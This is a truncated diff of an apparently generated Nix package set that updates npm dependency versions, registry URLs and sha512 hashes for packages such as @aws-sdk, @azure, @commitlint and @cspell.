{ + "@aws-sdk/util-user-agent-browser-3.515.0" = { name = "_at_aws-sdk_slash_util-user-agent-browser"; packageName = "@aws-sdk/util-user-agent-browser"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.502.0.tgz"; - sha512 = "v8gKyCs2obXoIkLETAeEQ3AM+QmhHhst9xbM1cJtKUGsRlVIak/XyyD+kVE6kmMm1cjfudHpHKABWk9apQcIZQ=="; + url = "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.515.0.tgz"; + sha512 = "pTWQb0JCafTmLHLDv3Qqs/nAAJghcPdGQIBpsCStb0YEzg3At/dOi2AIQ683yYnXmeOxLXJDzmlsovfVObJScw=="; }; }; "@aws-sdk/util-user-agent-node-3.296.0" = { @@ -1399,13 +1399,13 @@ let sha512 = "AMWac8aIBnaa9nxAEpZ752j29a/UQTViRfR5gnCX38ECBKGfOQMpgYnee5HdlMr4GHJj0WkOzQxBtInW4pV58g=="; }; }; - "@aws-sdk/util-user-agent-node-3.502.0" = { + "@aws-sdk/util-user-agent-node-3.515.0" = { name = "_at_aws-sdk_slash_util-user-agent-node"; packageName = "@aws-sdk/util-user-agent-node"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.502.0.tgz"; - sha512 = "9RjxpkGZKbTdl96tIJvAo+vZoz4P/cQh36SBUt9xfRfW0BtsaLyvSrvlR5wyUYhvRcC12Axqh/8JtnAPq//+Vw=="; + url = "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.515.0.tgz"; + sha512 = "A/KJ+/HTohHyVXLH+t/bO0Z2mPrQgELbQO8tX+B2nElo8uklj70r5cT7F8ETsI9oOy+HDVpiL5/v45ZgpUOiPg=="; }; }; "@aws-sdk/util-utf8-3.295.0" = { @@ -1480,22 +1480,31 @@ let sha512 = "TrRLIoSQVzfAJX9H1JeFjzAoDGcoK1IYX1UImfceTZpsyYfWr09Ss1aHW1y5TrrR3iq6RZLBwJ3E24uwPhwahw=="; }; }; - "@azure/core-auth-1.5.0" = { + "@azure/abort-controller-2.0.0" = { + name = "_at_azure_slash_abort-controller"; + packageName = "@azure/abort-controller"; + version = "2.0.0"; + src = fetchurl { + url = "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.0.0.tgz"; + sha512 = "RP/mR/WJchR+g+nQFJGOec+nzeN/VvjlwbinccoqfhTsTHbb8X5+mLDp48kHT0ueyum0BNSwGm0kX0UZuIqTGg=="; + }; + }; + "@azure/core-auth-1.6.0" = { name = "_at_azure_slash_core-auth"; packageName = "@azure/core-auth"; - version = "1.5.0"; + version = "1.6.0"; src = fetchurl { - url = "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.5.0.tgz"; - sha512 = "udzoBuYG1VBoHVohDTrvKjyzel34zt77Bhp7dQntVGGD0ehVq48owENbBG8fIgkHRNUBQH5k1r0hpoMu5L8+kw=="; + url = "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.6.0.tgz"; + sha512 = "3X9wzaaGgRaBCwhLQZDtFp5uLIXCPrGbwJNWPPugvL4xbIGgScv77YzzxToKGLAKvG9amDoofMoP+9hsH1vs1w=="; }; }; - "@azure/core-client-1.7.3" = { + "@azure/core-client-1.8.0" = { name = "_at_azure_slash_core-client"; packageName = "@azure/core-client"; - version = "1.7.3"; + version = "1.8.0"; src = fetchurl { - url = "https://registry.npmjs.org/@azure/core-client/-/core-client-1.7.3.tgz"; - sha512 = "kleJ1iUTxcO32Y06dH9Pfi9K4U+Tlb111WXEnbt7R/ne+NLRwppZiTGJuTD5VVoxTMK5NTbEtm5t2vcdNCFe2g=="; + url = "https://registry.npmjs.org/@azure/core-client/-/core-client-1.8.0.tgz"; + sha512 = "+gHS3gEzPlhyQBMoqVPOTeNH031R5DM/xpCvz72y38C09rg4Hui/1sJS/ujoisDZbbSHyuRLVWdFlwL0pIFwbg=="; }; }; "@azure/core-http-3.0.4" = { @@ -1507,13 +1516,13 @@ let sha512 = "Fok9VVhMdxAFOtqiiAtg74fL0UJkt0z3D+ouUUxcRLzZNBioPRAMJFVxiWoJljYpXsRi4GDQHzQHDc9AiYaIUQ=="; }; }; - "@azure/core-lro-2.5.4" = { + "@azure/core-lro-2.6.0" = { name = "_at_azure_slash_core-lro"; packageName = "@azure/core-lro"; - version = "2.5.4"; + version = "2.6.0"; src = fetchurl { - url = "https://registry.npmjs.org/@azure/core-lro/-/core-lro-2.5.4.tgz"; - sha512 = "3GJiMVH7/10bulzOKGrrLeG/uCBH/9VtxqaMcB9lIqAeamI/xYQSHJL/KcsLDuH+yTjYpro/u6D/MuRe4dN70Q=="; + url = "https://registry.npmjs.org/@azure/core-lro/-/core-lro-2.6.0.tgz"; + sha512 = "PyRNcaIOfMgoUC01/24NoG+k8O81VrKxYARnDlo+Q2xji0/0/j2nIt8BwQh294pb1c5QnXTDPbNR4KzoDKXEoQ=="; }; }; "@azure/core-paging-1.5.0" = { @@ -1534,13 +1543,13 @@ let sha512 = "Kji9k6TOFRDB5ZMTw8qUf2IJ+CeJtsuMdAHox9eqpTf1cefiNMpzrfnF6sINEBZJsaVaWgQ0o48B6kcUH68niA=="; }; }; - "@azure/core-rest-pipeline-1.13.0" = { + "@azure/core-rest-pipeline-1.14.0" = { name = "_at_azure_slash_core-rest-pipeline"; packageName = "@azure/core-rest-pipeline"; - version = "1.13.0"; + version = "1.14.0"; src = fetchurl { - url = "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.13.0.tgz"; - sha512 = "a62aP/wppgmnfIkJLfcB4ssPBcH94WzrzPVJ3tlJt050zX4lfmtnvy95D3igDo3f31StO+9BgPrzvkj4aOxnoA=="; + url = "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.14.0.tgz"; + sha512 = "Tp4M6NsjCmn9L5p7HsW98eSOS7A0ibl3e5ntZglozT0XuD/0y6i36iW829ZbBq0qihlGgfaeFpkLjZ418KDm1Q=="; }; }; "@azure/core-tracing-1.0.0-preview.13" = { @@ -1570,13 +1579,13 @@ let sha512 = "ffGIw+Qs8bNKNLxz5UPkz4/VBM/EZY07mPve1ZYFqYUdPwFqRj0RPk0U7LZMOfT7GCck9YjuT1Rfp1PApNl1ng=="; }; }; - "@azure/core-util-1.6.1" = { + "@azure/core-util-1.7.0" = { name = "_at_azure_slash_core-util"; packageName = "@azure/core-util"; - version = "1.6.1"; + version = "1.7.0"; src = fetchurl { - url = "https://registry.npmjs.org/@azure/core-util/-/core-util-1.6.1.tgz"; - sha512 = "h5taHeySlsV9qxuK64KZxy4iln1BtMYlNt5jbuEFN3UFSAd1EwKg/Gjl5a6tZ/W8t6li3xPnutOx7zbDyXnPmQ=="; + url = "https://registry.npmjs.org/@azure/core-util/-/core-util-1.7.0.tgz"; + sha512 = "Zq2i3QO6k9DA8vnm29mYM4G8IE9u1mhF1GUabVEqPNX8Lj833gdxQ2NAFxt2BZsfAL+e9cT8SyVN7dFVJ/Hf0g=="; }; }; "@azure/identity-4.0.1" = { @@ -1597,31 +1606,31 @@ let sha512 = "ustrPY8MryhloQj7OWGe+HrYx+aoiOxzbXTtgblbV3xwCqpzUK36phH3XNHQKj3EPonyFUuDTfR3qFhTEAuZEg=="; }; }; - "@azure/msal-browser-3.7.1" = { + "@azure/msal-browser-3.10.0" = { name = "_at_azure_slash_msal-browser"; packageName = "@azure/msal-browser"; - version = "3.7.1"; + version = "3.10.0"; src = fetchurl { - url = "https://registry.npmjs.org/@azure/msal-browser/-/msal-browser-3.7.1.tgz"; - sha512 = "EZnk81zn1/5/jv/VVN2Tp+dUVchHmwbbt7pn654Eqa+ua7wtEIg1btuW/mowB13BV2nGYcvniY9Mf+3Sbe0cCg=="; + url = "https://registry.npmjs.org/@azure/msal-browser/-/msal-browser-3.10.0.tgz"; + sha512 = "mnmi8dCXVNZI+AGRq0jKQ3YiodlIC4W9npr6FCB9WN6NQT+6rq+cIlxgUb//BjLyzKsnYo+i4LROGeMyU+6v1A=="; }; }; - "@azure/msal-common-14.6.1" = { + "@azure/msal-common-14.7.1" = { name = "_at_azure_slash_msal-common"; packageName = "@azure/msal-common"; - version = "14.6.1"; + version = "14.7.1"; src = fetchurl { - url = "https://registry.npmjs.org/@azure/msal-common/-/msal-common-14.6.1.tgz"; - sha512 = "yL97p2La0WrgU3MdXThOLOpdmBMvH8J69vwQ/skOqORYwOW/UYPdp9nZpvvfBO+zFZB5M3JkqA2NKtn4GfVBHw=="; + url = "https://registry.npmjs.org/@azure/msal-common/-/msal-common-14.7.1.tgz"; + sha512 = "v96btzjM7KrAu4NSEdOkhQSTGOuNUIIsUdB8wlyB9cdgl5KqEKnTonHUZ8+khvZ6Ap542FCErbnTyDWl8lZ2rA=="; }; }; - "@azure/msal-node-2.6.2" = { + "@azure/msal-node-2.6.4" = { name = "_at_azure_slash_msal-node"; packageName = "@azure/msal-node"; - version = "2.6.2"; + version = "2.6.4"; src = fetchurl { - url = "https://registry.npmjs.org/@azure/msal-node/-/msal-node-2.6.2.tgz"; - sha512 = "XyP+5lUZxTpWpLCC2wAFGA9wXrUhHp1t4NLmQW0mQZzUdcSay3rG7kGGqxxeLf8mRdwoR0B70TCLmIGX6cfK/g=="; + url = "https://registry.npmjs.org/@azure/msal-node/-/msal-node-2.6.4.tgz"; + sha512 = "nNvEPx009/80UATCToF+29NZYocn01uKrB91xtFr7bSqkqO1PuQGXRyYwryWRztUrYZ1YsSbw9A+LmwOhpVvcg=="; }; }; "@azure/opentelemetry-instrumentation-azure-sdk-1.0.0-beta.5" = { @@ -2974,13 +2983,13 @@ let sha512 = "s3jaWicZd0pkP0jf5ysyHUI/RE7MHos6qlToFcGWXVp+ykHOy77OUMrfbgJ9it2C5bow7OIQwYYaHjk9XlBQ2A=="; }; }; - "@bugsnag/browser-7.22.3" = { + "@bugsnag/browser-7.22.4" = { name = "_at_bugsnag_slash_browser"; packageName = "@bugsnag/browser"; - version = "7.22.3"; + version = "7.22.4"; src = fetchurl { - url = "https://registry.npmjs.org/@bugsnag/browser/-/browser-7.22.3.tgz"; - sha512 = "TWQSdsCqzxEVmaKzbtmqoBLWF58yjXi/ScC+6L5VNgSj+62jkIQuw5Evjs+7kLQX8WCnaG6XLiDmUJmPx6ZUrA=="; + url = "https://registry.npmjs.org/@bugsnag/browser/-/browser-7.22.4.tgz"; + sha512 = "h2o9RZhAEIgJAUsECd7a00IkLnvQvLT7dUyUYx/s8VLvcq89gKa8E59rlM7f15wtkJ5MPfozhErXDpsdOvF4Rg=="; }; }; "@bugsnag/core-7.19.0" = { @@ -3118,13 +3127,22 @@ let sha512 = "m7lZj00lP1fNMzXITOV1uNdsYXjsmMbFB7Sl8OXfhRWYDQuBr6EPNzIzAonzIcmvTA2JNs8WMq0ZU76XXzpP6w=="; }; }; - "@cloudflare/kv-asset-handler-0.2.0" = { + "@cloudflare/kv-asset-handler-0.3.1" = { name = "_at_cloudflare_slash_kv-asset-handler"; packageName = "@cloudflare/kv-asset-handler"; - version = "0.2.0"; + version = "0.3.1"; + src = fetchurl { + url = "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.3.1.tgz"; + sha512 = "lKN2XCfKCmpKb86a1tl4GIwsJYDy9TGuwjhDELLmpKygQhw8X2xR4dusgpC5Tg7q1pB96Eb0rBo81kxSILQMwA=="; + }; + }; + "@cloudflare/workers-types-4.20240208.0" = { + name = "_at_cloudflare_slash_workers-types"; + packageName = "@cloudflare/workers-types"; + version = "4.20240208.0"; src = fetchurl { - url = "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.2.0.tgz"; - sha512 = "MVbXLbTcAotOPUj0pAMhVtJ+3/kFkwJqc5qNOleOZTv6QkZZABDMS21dSrSlVswEHwrpWC03e4fWytjqKvuE2A=="; + url = "https://registry.npmjs.org/@cloudflare/workers-types/-/workers-types-4.20240208.0.tgz"; + sha512 = "MVGTTjZpJu4kJONvai5SdJzWIhOJbuweVZ3goI7FNyG+JdoQH41OoB+nMhLsX626vPLZVWGPIWsiSo/WZHzgQw=="; }; }; "@colors/colors-1.5.0" = { @@ -3145,139 +3163,139 @@ let sha512 = "Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA=="; }; }; - "@commitlint/config-validator-18.6.0" = { + "@commitlint/config-validator-18.6.1" = { name = "_at_commitlint_slash_config-validator"; packageName = "@commitlint/config-validator"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/config-validator/-/config-validator-18.6.0.tgz"; - sha512 = "Ptfa865arNozlkjxrYG3qt6wT9AlhNUHeuDyKEZiTL/l0ftncFhK/KN0t/EAMV2tec+0Mwxo0FmhbESj/bI+1g=="; + url = "https://registry.npmjs.org/@commitlint/config-validator/-/config-validator-18.6.1.tgz"; + sha512 = "05uiToBVfPhepcQWE1ZQBR/Io3+tb3gEotZjnI4tTzzPk16NffN6YABgwFQCLmzZefbDcmwWqJWc2XT47q7Znw=="; }; }; - "@commitlint/ensure-18.6.0" = { + "@commitlint/ensure-18.6.1" = { name = "_at_commitlint_slash_ensure"; packageName = "@commitlint/ensure"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/ensure/-/ensure-18.6.0.tgz"; - sha512 = "xY07NmOBJ7JuhX3tic021PaeLepZARIQyqpAQoNQZoml1keBFfB6MbA7XlWZv0ebbarUFE4yhKxOPw+WFv7/qw=="; + url = "https://registry.npmjs.org/@commitlint/ensure/-/ensure-18.6.1.tgz"; + sha512 = "BPm6+SspyxQ7ZTsZwXc7TRQL5kh5YWt3euKmEIBZnocMFkJevqs3fbLRb8+8I/cfbVcAo4mxRlpTPfz8zX7SnQ=="; }; }; - "@commitlint/execute-rule-18.4.4" = { + "@commitlint/execute-rule-18.6.1" = { name = "_at_commitlint_slash_execute-rule"; packageName = "@commitlint/execute-rule"; - version = "18.4.4"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-18.4.4.tgz"; - sha512 = "a37Nd3bDQydtg9PCLLWM9ZC+GO7X5i4zJvrggJv5jBhaHsXeQ9ZWdO6ODYR+f0LxBXXNYK3geYXJrCWUCP8JEg=="; + url = "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-18.6.1.tgz"; + sha512 = "7s37a+iWyJiGUeMFF6qBlyZciUkF8odSAnHijbD36YDctLhGKoYltdvuJ/AFfRm6cBLRtRk9cCVPdsEFtt/2rg=="; }; }; - "@commitlint/format-18.6.0" = { + "@commitlint/format-18.6.1" = { name = "_at_commitlint_slash_format"; packageName = "@commitlint/format"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/format/-/format-18.6.0.tgz"; - sha512 = "8UNWfs2slPPSQiiVpLGJTnPHv7Jkd5KYxfbNXbmLL583bjom4RrylvyrCVnmZReA8nNad7pPXq6mDH4FNVj6xg=="; + url = "https://registry.npmjs.org/@commitlint/format/-/format-18.6.1.tgz"; + sha512 = "K8mNcfU/JEFCharj2xVjxGSF+My+FbUHoqR+4GqPGrHNqXOGNio47ziiR4HQUPKtiNs05o8/WyLBoIpMVOP7wg=="; }; }; - "@commitlint/is-ignored-18.6.0" = { + "@commitlint/is-ignored-18.6.1" = { name = "_at_commitlint_slash_is-ignored"; packageName = "@commitlint/is-ignored"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-18.6.0.tgz"; - sha512 = "Xjx/ZyyJ4FdLuz0FcOvqiqSFgiO2yYj3QN9XlvyrxqbXTxPVC7QFEXJYBVPulUSN/gR7WXH1Udw+HYYfD17xog=="; + url = "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-18.6.1.tgz"; + sha512 = "MOfJjkEJj/wOaPBw5jFjTtfnx72RGwqYIROABudOtJKW7isVjFe9j0t8xhceA02QebtYf4P/zea4HIwnXg8rvA=="; }; }; - "@commitlint/lint-18.6.0" = { + "@commitlint/lint-18.6.1" = { name = "_at_commitlint_slash_lint"; packageName = "@commitlint/lint"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/lint/-/lint-18.6.0.tgz"; - sha512 = "ycbuDWfyykPmslgiHzhz8dL6F0BJYltXLVfc+M49z0c+FNITM0v+r0Vd2+Tdtq06VTc894p2+YSmZhulY8Jn3Q=="; + url = "https://registry.npmjs.org/@commitlint/lint/-/lint-18.6.1.tgz"; + sha512 = "8WwIFo3jAuU+h1PkYe5SfnIOzp+TtBHpFr4S8oJWhu44IWKuVx6GOPux3+9H1iHOan/rGBaiacicZkMZuluhfQ=="; }; }; - "@commitlint/load-18.6.0" = { + "@commitlint/load-18.6.1" = { name = "_at_commitlint_slash_load"; packageName = "@commitlint/load"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/load/-/load-18.6.0.tgz"; - sha512 = "RRssj7TmzT0bowoEKlgwg8uQ7ORXWkw7lYLsZZBMi9aInsJuGNLNWcMxJxRZbwxG3jkCidGUg85WmqJvRjsaDA=="; + url = "https://registry.npmjs.org/@commitlint/load/-/load-18.6.1.tgz"; + sha512 = "p26x8734tSXUHoAw0ERIiHyW4RaI4Bj99D8YgUlVV9SedLf8hlWAfyIFhHRIhfPngLlCe0QYOdRKYFt8gy56TA=="; }; }; - "@commitlint/message-18.4.4" = { + "@commitlint/message-18.6.1" = { name = "_at_commitlint_slash_message"; packageName = "@commitlint/message"; - version = "18.4.4"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/message/-/message-18.4.4.tgz"; - sha512 = "lHF95mMDYgAI1LBXveJUyg4eLaMXyOqJccCK3v55ZOEUsMPrDi8upqDjd/NmzWmESYihaOMBTAnxm+6oD1WoDQ=="; + url = "https://registry.npmjs.org/@commitlint/message/-/message-18.6.1.tgz"; + sha512 = "VKC10UTMLcpVjMIaHHsY1KwhuTQtdIKPkIdVEwWV+YuzKkzhlI3aNy6oo1eAN6b/D2LTtZkJe2enHmX0corYRw=="; }; }; - "@commitlint/parse-18.6.0" = { + "@commitlint/parse-18.6.1" = { name = "_at_commitlint_slash_parse"; packageName = "@commitlint/parse"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/parse/-/parse-18.6.0.tgz"; - sha512 = "Y/G++GJpATFw54O0jikc/h2ibyGHgghtPnwsOk3O/aU092ydJ5XEHYcd7xGNQYuLweLzQis2uEwRNk9AVIPbQQ=="; + url = "https://registry.npmjs.org/@commitlint/parse/-/parse-18.6.1.tgz"; + sha512 = "eS/3GREtvVJqGZrwAGRwR9Gdno3YcZ6Xvuaa+vUF8j++wsmxrA2En3n0ccfVO2qVOLJC41ni7jSZhQiJpMPGOQ=="; }; }; - "@commitlint/read-18.6.0" = { + "@commitlint/read-18.6.1" = { name = "_at_commitlint_slash_read"; packageName = "@commitlint/read"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/read/-/read-18.6.0.tgz"; - sha512 = "w39ji8VfWhPKRquPhRHB3Yd8XIHwaNHgOh28YI1QEmZ59qVpuVUQo6h/NsVb+uoC6LbXZiofTZv2iFR084jKEA=="; + url = "https://registry.npmjs.org/@commitlint/read/-/read-18.6.1.tgz"; + sha512 = "ia6ODaQFzXrVul07ffSgbZGFajpe8xhnDeLIprLeyfz3ivQU1dIoHp7yz0QIorZ6yuf4nlzg4ZUkluDrGN/J/w=="; }; }; - "@commitlint/resolve-extends-18.6.0" = { + "@commitlint/resolve-extends-18.6.1" = { name = "_at_commitlint_slash_resolve-extends"; packageName = "@commitlint/resolve-extends"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-18.6.0.tgz"; - sha512 = "k2Xp+Fxeggki2i90vGrbiLDMefPius3zGSTFFlRAPKce/SWLbZtI+uqE9Mne23mHO5lmcSV8z5m6ziiJwGpOcg=="; + url = "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-18.6.1.tgz"; + sha512 = "ifRAQtHwK+Gj3Bxj/5chhc4L2LIc3s30lpsyW67yyjsETR6ctHAHRu1FSpt0KqahK5xESqoJ92v6XxoDRtjwEQ=="; }; }; - "@commitlint/rules-18.6.0" = { + "@commitlint/rules-18.6.1" = { name = "_at_commitlint_slash_rules"; packageName = "@commitlint/rules"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/rules/-/rules-18.6.0.tgz"; - sha512 = "pTalvCEvuCWrBWZA/YqO/3B3nZnY3Ncc+TmQsRajBdC1tkQIm5Iovdo4Ec7f2Dw1tVvpYMUUNAgcWqsY0WckWg=="; + url = "https://registry.npmjs.org/@commitlint/rules/-/rules-18.6.1.tgz"; + sha512 = "kguM6HxZDtz60v/zQYOe0voAtTdGybWXefA1iidjWYmyUUspO1zBPQEmJZ05/plIAqCVyNUTAiRPWIBKLCrGew=="; }; }; - "@commitlint/to-lines-18.4.4" = { + "@commitlint/to-lines-18.6.1" = { name = "_at_commitlint_slash_to-lines"; packageName = "@commitlint/to-lines"; - version = "18.4.4"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-18.4.4.tgz"; - sha512 = "mwe2Roa59NCz/krniAdCygFabg7+fQCkIhXqBHw00XQ8Y7lw4poZLLxeGI3p3bLpcEOXdqIDrEGLwHmG5lBdwQ=="; + url = "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-18.6.1.tgz"; + sha512 = "Gl+orGBxYSNphx1+83GYeNy5N0dQsHBQ9PJMriaLQDB51UQHCVLBT/HBdOx5VaYksivSf5Os55TLePbRLlW50Q=="; }; }; - "@commitlint/top-level-18.4.4" = { + "@commitlint/top-level-18.6.1" = { name = "_at_commitlint_slash_top-level"; packageName = "@commitlint/top-level"; - version = "18.4.4"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/top-level/-/top-level-18.4.4.tgz"; - sha512 = "PBwW1drgeavl9CadB7IPRUk6rkUP/O8jEkxjlC+ofuh3pw0bzJdAT+Kw7M1Yc9KtTb9xTaqUB8uvRtaybHa/tQ=="; + url = "https://registry.npmjs.org/@commitlint/top-level/-/top-level-18.6.1.tgz"; + sha512 = "HyiHQZUTf0+r0goTCDs/bbVv/LiiQ7AVtz6KIar+8ZrseB9+YJAIo8HQ2IC2QT1y3N1lbW6OqVEsTHjbT6hGSw=="; }; }; - "@commitlint/types-18.6.0" = { + "@commitlint/types-18.6.1" = { name = "_at_commitlint_slash_types"; packageName = "@commitlint/types"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/types/-/types-18.6.0.tgz"; - sha512 = "oavoKLML/eJa2rJeyYSbyGAYzTxQ6voG5oeX3OrxpfrkRWhJfm4ACnhoRf5tgiybx2MZ+EVFqC1Lw3W8/uwpZA=="; + url = "https://registry.npmjs.org/@commitlint/types/-/types-18.6.1.tgz"; + sha512 = "gwRLBLra/Dozj2OywopeuHj2ac26gjGkz2cZ+86cTJOdtWfiRRr4+e77ZDAGc6MDWxaWheI+mAV5TLWWRwqrFg=="; }; }; "@cronvel/get-pixels-3.4.1" = { @@ -3586,13 +3604,13 @@ let sha512 = "UPwR4rfiJCxnS+Py+EK9E4AUj3aPZE4p/yBRSHN+5aBQConlI0lLDtMceH5wlupA/sQTU1ERZGPJA9L96jVSyQ=="; }; }; - "@cspell/dict-en_us-4.3.15" = { + "@cspell/dict-en_us-4.3.16" = { name = "_at_cspell_slash_dict-en_us"; packageName = "@cspell/dict-en_us"; - version = "4.3.15"; + version = "4.3.16"; src = fetchurl { - url = "https://registry.npmjs.org/@cspell/dict-en_us/-/dict-en_us-4.3.15.tgz"; - sha512 = "h1kwvU2w/e4ngXAbesU3z3GnK9kAUJVGRUcQJiBHGg4cY7+hsAD506JezoBD+kus2+cuYVkoeSKdi0FyqS7xyg=="; + url = "https://registry.npmjs.org/@cspell/dict-en_us/-/dict-en_us-4.3.16.tgz"; + sha512 = "fyNuAvYpkllmsMpfAJaMip250LRAnEDp2EZbkjYwAJXXjtgQ4/1yh6sLityxPMDtJZN65Eko+8rJzGJHez4zbA=="; }; }; "@cspell/dict-filetypes-1.1.8" = { @@ -3883,13 +3901,13 @@ let sha512 = "RoBIP5MRdByyPaXcznZMfOY1JdCMYPPLua5E9gkq0TJO7bX5mC9hyAKfYBSWVQunZydd82HZixjb5MPkDFU1uw=="; }; }; - "@cspell/dict-php-4.0.5" = { + "@cspell/dict-php-4.0.6" = { name = "_at_cspell_slash_dict-php"; packageName = "@cspell/dict-php"; - version = "4.0.5"; + version = "4.0.6"; src = fetchurl { - url = "https://registry.npmjs.org/@cspell/dict-php/-/dict-php-4.0.5.tgz"; - sha512 = "9r8ao7Z/mH9Z8pSB7yLtyvcCJWw+/MnQpj7xGVYzIV7V2ZWDRjXZAMgteHMJ37m8oYz64q5d4tiipD300QSetQ=="; + url = "https://registry.npmjs.org/@cspell/dict-php/-/dict-php-4.0.6.tgz"; + sha512 = "ySAXisf7twoVFZqBV2o/DKiCLIDTHNqfnj0EfH9OoOUR7HL3rb6zJkm0viLUFDO2G/8SyIi6YrN/6KX+Scjjjg=="; }; }; "@cspell/dict-powershell-1.0.19" = { @@ -4009,13 +4027,13 @@ let sha512 = "pfF3Ys2gRffu5ElqkH7FQMDMi/iZMyOzpGMb3FSH0PJ2AnRQ5rRNWght1h2L36YxvXl0mWVaFrrfwiOyRIc8ZQ=="; }; }; - "@cspell/dict-software-terms-3.3.17" = { + "@cspell/dict-software-terms-3.3.18" = { name = "_at_cspell_slash_dict-software-terms"; packageName = "@cspell/dict-software-terms"; - version = "3.3.17"; + version = "3.3.18"; src = fetchurl { - url = "https://registry.npmjs.org/@cspell/dict-software-terms/-/dict-software-terms-3.3.17.tgz"; - sha512 = "IspxnhSbriGNME+jE/vveC0lK/0K/a0JSLa6ANvE+W1SuBwYPJqAChWjTgvWWYWC1ZEmnXdwfaNzB6fJNkc85w=="; + url = "https://registry.npmjs.org/@cspell/dict-software-terms/-/dict-software-terms-3.3.18.tgz"; + sha512 = "LJZGGMGqS8KzgXJrSMs3T+6GoqHG9z8Bc+rqLzLzbtoR3FbsMasE9U8oP2PmS3q7jJLFjQkzmg508DrcuZuo2g=="; }; }; "@cspell/dict-sql-2.1.3" = { @@ -4180,58 +4198,49 @@ let sha512 = "dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw=="; }; }; - "@edge-runtime/cookies-3.4.1" = { - name = "_at_edge-runtime_slash_cookies"; - packageName = "@edge-runtime/cookies"; - version = "3.4.1"; - src = fetchurl { - url = "https://registry.npmjs.org/@edge-runtime/cookies/-/cookies-3.4.1.tgz"; - sha512 = "z27BvgPxI73CgSlxU/NAUf1Q/shnqi6cobHEowf6VuLdSjGR3NjI2Y5dZUIBbK2zOJVZbXcHsVzJjz8LklteFQ=="; - }; - }; - "@edge-runtime/format-2.2.0" = { + "@edge-runtime/format-2.2.1" = { name = "_at_edge-runtime_slash_format"; packageName = "@edge-runtime/format"; - version = "2.2.0"; + version = "2.2.1"; src = fetchurl { - url = "https://registry.npmjs.org/@edge-runtime/format/-/format-2.2.0.tgz"; - sha512 = "gPrS6AVw/qJJL0vcxMXv4kFXCU3ZTCD1uuJpwX15YxHV8BgU9OG5v9LrkkXcr96PBT/9epypfNJMhlWADuEziw=="; + url = "https://registry.npmjs.org/@edge-runtime/format/-/format-2.2.1.tgz"; + sha512 = "JQTRVuiusQLNNLe2W9tnzBlV/GvSVcozLl4XZHk5swnRZ/v6jp8TqR8P7sqmJsQqblDZ3EztcWmLDbhRje/+8g=="; }; }; - "@edge-runtime/node-utils-2.2.1" = { + "@edge-runtime/node-utils-2.3.0" = { name = "_at_edge-runtime_slash_node-utils"; packageName = "@edge-runtime/node-utils"; - version = "2.2.1"; + version = "2.3.0"; src = fetchurl { - url = "https://registry.npmjs.org/@edge-runtime/node-utils/-/node-utils-2.2.1.tgz"; - sha512 = "RUl/439BHKshkhSGFRlZ1kzy68wL4mn8VNKDSZr3p0tciyZ33Mjfpl+vofqnHqXRmDI6nLnZpfJvhY3D88o0pA=="; + url = "https://registry.npmjs.org/@edge-runtime/node-utils/-/node-utils-2.3.0.tgz"; + sha512 = "uUtx8BFoO1hNxtHjp3eqVPC/mWImGb2exOfGjMLUoipuWgjej+f4o/VP4bUI8U40gu7Teogd5VTeZUkGvJSPOQ=="; }; }; - "@edge-runtime/ponyfill-2.4.1" = { + "@edge-runtime/ponyfill-2.4.2" = { name = "_at_edge-runtime_slash_ponyfill"; packageName = "@edge-runtime/ponyfill"; - version = "2.4.1"; + version = "2.4.2"; src = fetchurl { - url = "https://registry.npmjs.org/@edge-runtime/ponyfill/-/ponyfill-2.4.1.tgz"; - sha512 = "ZbR/EViY3gg2rmEAQTKPa6mXl4aR1/+cFcQe4r1segCjEbTAxT6PWu40odbu/KlZKSysEb2O/BWIC2lJgSJOMQ=="; + url = 